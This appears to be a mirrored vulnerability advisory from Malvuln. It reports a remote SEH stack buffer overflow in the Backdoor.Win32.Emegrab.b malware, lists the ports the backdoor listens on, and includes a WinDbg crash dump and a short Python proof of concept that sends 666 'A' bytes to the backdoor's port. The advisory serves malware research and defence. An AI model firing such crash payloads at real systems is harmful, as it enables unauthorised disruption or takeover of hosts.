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Backdoor.Win32.Emegrab.b / Remote Stack Buffer Overflow (SEH)

CVE Category Price Severity
CVE-XXXX-XXXX CWE-XX N/A Unknown
Author Risk Exploitation Type Date
Unknown Unknown Remote 2024-03-20
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N 0 0

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024030049

Below is a copy:

Backdoor.Win32.Emegrab.b / Remote Stack Buffer Overflow (SEH)
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/19a14d0414aec62ef38378de2e8b259d.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Emegrab.b
Vulnerability: Remote Stack Buffer Overflow (SEH)
Family: Emegrab
Type: PE32
MD5: 19a14d0414aec62ef38378de2e8b259d
Vuln ID: MVID-2024-0675
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 03/13/2024
Description: The malware listens on TCP port 2323 (typically) however, have seen it use 4823. On subsequent restarts it has used 3012, 3182, 4735, 4578, 4133, 5347, 4978 then eventually reuses port 2323. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting ECX, EIP registers and Structured Exception Handler (SEH).


Memory Dump:
(14c0.b6c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=775e9d70 esi=00000000 edi=00000000
eip=41414141 esp=260013e8 ebp=26001408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:009> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=775e9d70 esi=00000000 edi=00000000
eip=41414141 esp=260013e8 ebp=26001408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:009> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e - 

FAULTING_IP: 
Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d+fa2b
0040fa2b 888434a0000000  mov     byte ptr [esp+esi+0A0h],al

EXCEPTION_RECORD:  260f5de8 -- (.exr 0x260f5de8)
ExceptionAddress: 0040fa2b (Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d+0x0000fa2b)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 26100000
Attempt to write to address 26100000

PROCESS_NAME:  Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d+fa2b
0040fa2b 888434a0000000  mov     byte ptr [esp+esi+0A0h],al

FAILED_INSTRUCTION_ADDRESS: 
+fa2b
41414141 ??              ???

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  260f5e38 -- (.cxr 0x260f5e38)
eax=00000041 ebx=00000000 ecx=0be58a88 edx=260f61e0 esi=00009cc8 edi=00433f74
eip=0040fa2b esp=260f6298 ebp=260fff80 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d+0xfa2b:
0040fa2b 888434a0000000  mov     byte ptr [esp+esi+0A0h],al ss:002b:26100000=??
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 41414141 to 0040fa2b

FRAME_ONE_INVALID: 1

STACK_TEXT:  
260f6298 0040fa2b backdoor_win32_emegrab_b+0xfa2b
260fff88 41414141 unknown!printable+0x0
260fff8c 41414141 unknown!printable+0x0
260fff90 41414141 unknown!printable+0x0
260fff94 41414141 unknown!printable+0x0
260fff98 41414141 unknown!printable+0x0
260fff9c 41414141 unknown!printable+0x0
260fffa0 41414141 unknown!printable+0x0
260fffa4 41414141 unknown!printable+0x0
260fffa8 41414141 unknown!printable+0x0
260fffac 41414141 unknown!printable+0x0
260fffb0 41414141 unknown!printable+0x0
260fffb4 41414141 unknown!printable+0x0
260fffb8 41414141 unknown!printable+0x0
260fffbc 41414141 unknown!printable+0x0
260fffc0 41414141 unknown!printable+0x0
260fffc4 41414141 unknown!printable+0x0
260fffc8 41414141 unknown!printable+0x0
260fffcc 41414141 unknown!printable+0x0
260fffd0 41414141 unknown!printable+0x0
260fffd4 41414141 unknown!printable+0x0
260fffd8 41414141 unknown!printable+0x0
260fffdc 41414141 unknown!printable+0x0
260fffe0 41414141 unknown!printable+0x0
260fffe4 41414141 unknown!printable+0x0
260fffe8 41414141 unknown!printable+0x0
260fffec 41414141 unknown!printable+0x0
260ffff0 41414141 unknown!printable+0x0
260ffff4 41414141 unknown!printable+0x0
260ffff8 41414141 unknown!printable+0x0
260ffffc 41414141 unknown!printable+0x0
26100000 41414141 unknown!printable+0x0

STACK_COMMAND:  .cxr 00000000260F5E38 ; kb ; dds 260f6298 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  backdoor_win32_emegrab_b+fa2b

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Emegrab_b_19a14d0414aec62ef38378de2e8b259d

IMAGE_NAME:  Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e

DEBUG_FLR_IMAGE_TIMESTAMP:  4a822c0e

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Emegrab.b.19a14d0414aec62ef38378de2e8b259d.e!Unknown

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_emegrab_b+fa2b
0:009> !exchain
260013fc: ntdll!ExecuteHandler2+44 (775e9d70)
260fffcc: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=2323
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="A"*666
s.send(PAYLOAD.encode())
s.close()

print("Backdoor.Win32.Emegrab BOF Exploit by Malvuln")


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